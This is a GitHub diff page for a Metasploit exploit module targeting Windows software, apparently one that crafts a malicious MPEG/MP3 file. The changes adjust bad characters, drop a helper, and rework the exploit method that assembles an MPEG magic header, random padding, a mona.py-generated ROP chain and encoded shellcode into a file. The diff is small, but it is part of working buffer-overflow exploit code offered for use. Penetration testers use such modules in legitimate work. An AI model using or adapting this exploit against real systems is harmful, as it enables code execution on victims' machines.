File tree Expand file tree Collapse file tree 1 file changed +3
-7
lines changed
modules/exploits/windows/misc Expand file tree Collapse file tree 1 file changed +3
-7
lines changed Original file line number Diff line number Diff line change @@ -37,7 +37,7 @@ def initialize(info = {})
37
37
} ,
38
38
'Payload' =>
39
39
{
40
- 'BadChars' => "\xff \x00 " ,
40
+ 'BadChars' => "\xff " ,
41
41
'Space' => 600 ,
42
42
'DisableNops' => 'True' ,
43
43
'PrependEncoder' => "\x81 \xec \xc8 \x00 \x00 \x00 " # sub esp,200
@@ -63,10 +63,6 @@ def initialize(info = {})
63
63
] , self . class )
64
64
end
65
65
66
- def junk
67
- return rand_text ( 4 ) . unpack ( "L" ) [ 0 ] . to_i
68
- end
69
-
70
66
def create_rop_chain ( )
71
67
72
68
# rop chain generated with mona.py - www.corelan.be
@@ -98,8 +94,8 @@ def create_rop_chain()
98
94
def exploit
99
95
100
96
print_status ( "Creating '#{ datastore [ 'FILENAME' ] } ' file ..." )
101
- magic_header = "\xff \xfb " # mpeg magic_number
102
- packet = pattern_create ( 892 )
97
+ magic_header = "\xff \xfb \x41 " # mpeg magic_number(MP3) -> http://en.wikipedia.org/wiki/MP3#File_structure
98
+ packet = rand_text_alpha ( 891 )
103
99
ropchain = create_rop_chain
104
100
packet << ropchain
105
101
packet << payload . encoded # Shellcode
You can’t perform that action at this time.
0 commit comments